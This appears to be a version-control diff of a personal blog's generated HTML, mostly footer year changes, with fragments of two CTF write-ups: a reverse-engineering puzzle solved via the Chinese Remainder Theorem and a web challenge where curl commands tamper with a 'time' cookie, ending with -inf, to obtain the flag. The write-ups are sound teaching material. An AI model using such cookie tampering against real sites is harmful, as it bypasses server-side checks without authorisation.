<a href=https://lavafroth.is-a.dev/post/modes-unbinds-and-other-ensembled-parser-patterns/><span>Modes, Unbinds and Other Ensembled Parser Patterns</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -68,4 +68,4 @@ of building this parser. This has been my GSoC 2024, thank you so much for readi
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><span></span><span>NixOS Secureboot Shenanigans</span></a>
<a href=https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/><span>Painlessly setting up ML tooling on NixOS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/cuda-on-nixos-without-sacrificing-ones-sanity/><span>Painlessly setting up ML tooling on NixOS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -70,4 +70,4 @@ and how they can be different from regular keys. See you soon!</p></section><foo
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/edge-cases-you-shall-not-pass/><span></span><span>Edge cases? You Shall Not Pass!</span></a>
<a href=https://lavafroth.is-a.dev/post/keep-the-keys-clackin/><span>Keep the Keys Clackin'</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/keep-the-keys-clackin/><span>Keep the Keys Clackin'</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -105,7 +105,7 @@ and stores the result in the <code>ok</code> variable.</p><div class=highlight><
</span></span><span style=display:flex><span>ok <span style=color:#f92672>=</span> <span style=color:#a6e22e>process_bear</span>(bear);
</span></span></code></pre></div><p>The next block only executes when <code>ok</code> is true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (ok) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Inside this block, the program for another unsigned long integer as before but calls it a volcano, running
a check specific to this input.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Give me a volcano: &#34;</span>);
</span></span><span style=display:flex><span>volcano <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
@@ -113,7 +113,7 @@ a check specific to this input.</p><div class=highlight><pre tabindex=0 style=co
</span></span><span style=display:flex><span>_ok <span style=color:#f92672>=</span> <span style=color:#a6e22e>process_volcano</span>(volcano);
</span></span></code></pre></div><p>The next conditional block executes when this <code>process_volcano</code> subroutine return true.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#66d9ef>if</span> (_ok) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>The program then asks for another unsigned long integer as a proof for the <em>&ldquo;volcano&rdquo;</em> and the <em>&ldquo;bear&rdquo;</em> being the same.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span><span style=color:#a6e22e>printf</span>(<span style=color:#e6db74>&#34;Prove to me they are the same: &#34;</span>);
</span></span><span style=display:flex><span>proof <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>;
</span></span><span style=display:flex><span>leet <span style=color:#f92672>=</span> <span style=color:#ae81ff>0x1337</span>;
@@ -128,12 +128,12 @@ There&rsquo;s nothing worth explaining about them in particular but you may chec
</span></span><span style=display:flex><span>n_bear <span style=color:#f92672>=</span> <span style=color:#a6e22e>n_digits</span>(bear);
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (n_volcano <span style=color:#f92672>==</span> n_bear) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> }
</span></span></span><span style=display:flex><span> }
</span></span></code></pre></div><p>Our second constraint is that the sum of the digits must equal for the volcano and the bear.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>n_volcano <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(volcano);
</span></span><span style=display:flex><span>n_bear <span style=color:#f92672>=</span> <span style=color:#a6e22e>sum_of_digits</span>(bear);
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (n_volcano <span style=color:#f92672>==</span> n_bear) {
</span></span><span style=display:flex><span> <span style=color:#75715e>// ...
</span></span></span><span style=display:flex><span><span style=color:#75715e></span>}
</span></span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Finally the happy ending happens when the result of a proof checking function is the same for both the numbers.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-C data-lang=C><span style=display:flex><span>m_v <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,volcano,proof);
</span></span><span style=display:flex><span>m_b <span style=color:#f92672>=</span> <span style=color:#a6e22e>check_proof</span>(leet,bear,proof);
</span></span><span style=display:flex><span><span style=color:#66d9ef>if</span> (m_v <span style=color:#f92672>==</span> m_b) {
@@ -209,7 +209,7 @@ The code would look like the following:</p><div class=highlight><pre tabindex=0
</span></span><span style=display:flex><span> <span style=color:#f92672>&amp;&amp;</span> sum_and_number_of_digits(bear) <span style=color:#f92672>==</span> sum_and_number_of_digits(volcano)
</span></span><span style=display:flex><span> {
</span></span><span style=display:flex><span> <span style=color:#75715e>// do something
</span></span></span><span style=display:flex><span><span style=color:#75715e></span> }
</span></span></span><span style=display:flex><span> }
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>Since most of the conditions are modulo congruence checks, we can use the Chinese Remainder Theorem
to solve for the smallest number that leaves the respective remainders and begin from there.</p><p>Let <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span> be a vector of all the moduli and <span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi></mrow><annotation encoding="application/x-tex">r</annotation></semantics></math></span> represent the array of the respective remainders.</p><span class=katex><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mo>=</mo><mrow><mo fence="true">[</mo><mtable rowspacing="0.16em" columnalign="center center center center center" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>2</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>3</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>5</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>7</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="false"><mn>109</mn></mstyle></mtd></mtr></mtable><mo fence="true">]</mo></mrow></mrow><annotation encoding="application/x-tex">
@@ -316,4 +316,4 @@ amateursCTF{yep_th0se_l00k_th3_s4me_to_m3!_:clueless:}
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/remainder-theorem class=list-tag>Remainder Theorem</a>
<a href=https://lavafroth.is-a.dev/tags/reverse-engineering class=list-tag>Reverse Engineering</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/compact-xor-crypto-challenge-amateursctf-2023/><span></span><span>Compact XOR</span></a>
<a href=https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/><span>Waiting an Eternity</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/wait-an-eternity-web-challenge-amateursctf-2023/><span>Waiting an Eternity</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -54,20 +54,20 @@ welcome. please wait another eternity.
</code></pre><p>There is another difference in the headers of the response. This time, instead of the <code>refresh</code> header, we can notice a <code>set-cookie</code> header
with the <code>time</code> cookie set to a floating point number.</p><pre tabindex=0><code>set-cookie: time=1689655442.2456439; path=/
</code></pre><p>Let&rsquo;s try setting this <code>time</code> cookie to 0 using the <code>-b</code> flag with <code>curl</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-b <span style=color:#e6db74>&#34;time=0&#34;</span>
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>&#34;time=0&#34;</span>
</span></span></code></pre></div><p>The response tells us that we haven&rsquo;t waited enough.</p><pre tabindex=0><code>you have not waited an eternity. you have only waited 1689655538.27981 seconds
</code></pre><p>This is better than the previous message as the server thinks we have at least waited some time. Since 0 is less than the default value
1689655442.2456439 we encountered before, let&rsquo;s try supplying an even smaller number like -1000.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-b <span style=color:#e6db74>&#34;time=-1000&#34;</span>
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>&#34;time=-1000&#34;</span>
</span></span></code></pre></div><p>The response says:</p><pre tabindex=0><code>you have not waited an eternity. you have only waited 1689657530.625615 seconds
</code></pre><p>Notice how 1689657530.625615 in the second response is greater than 1689655538.27981 from the first response.
This implies, for smaller values supplied to the <code>time</code> cookie, the time we have waited increases.</p><p>The last piece to the puzzle is that the <code>time</code> cookie is a floating point number. According to the IEE 754 floating
point specifications, these numbers must also be able to represent signed zeros, things that are not a number (NaN) and
<em>signed infinities</em>. To wait an eternity, we can supply the most negative value possible, <code>-inf</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-sh data-lang=sh><span style=display:flex><span>curl <span style=color:#e6db74>&#34;https://waiting-an-eternity.amt.rs/secret-site?secretcode=5770011ff65738feaf0c1d009caffb035651bb8a7e16799a433a301c0756003a&#34;</span> <span style=color:#ae81ff>\
</span></span></span><span style=display:flex><span><span style=color:#ae81ff></span>-b <span style=color:#e6db74>&#34;time=-inf&#34;</span>
</span></span></span><span style=display:flex><span>-b <span style=color:#e6db74>&#34;time=-inf&#34;</span>
</span></span></code></pre></div><p>This finally gives us our flag.</p><pre tabindex=0><code>amateursCTF{im_g0iNg_2_s13Ep_foR_a_looo0ooO0oOooooOng_t1M3}
</code></pre></section><footer class=post-tags data-pagefind-meta=tags><a href=https://lavafroth.is-a.dev/tags/amateursctf class=list-tag>AmateursCTF</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/cookies class=list-tag>Cookies</a>
<a href=https://lavafroth.is-a.dev/tags/web class=list-tag>Web</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/volcano-reverse-engineering-amateursctf-2023/><span></span><span>Volcano</span></a>
<a href=https://lavafroth.is-a.dev/post/i-switched-to-nixos/><span>I Switched to NixOS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/i-switched-to-nixos/><span>I Switched to NixOS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -21,4 +21,4 @@ See you soon!</p></section><footer class=post-tags data-pagefind-meta=tags><a hr
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a></footer><nav data-post><a href=https://lavafroth.is-a.dev/post/a-sweet-little-config-parser/><span></span><span>A SWEET Little Parser</span></a>
<a href=https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/><span>Using an Android Phone as a webcam in NixOS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a href=https://lavafroth.is-a.dev/post/android-phone-for-webcam-nixos/><span>Using an Android Phone as a webcam in NixOS</span><span></span></a></nav></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

Some files were not shown because too many files have changed in this diff Show More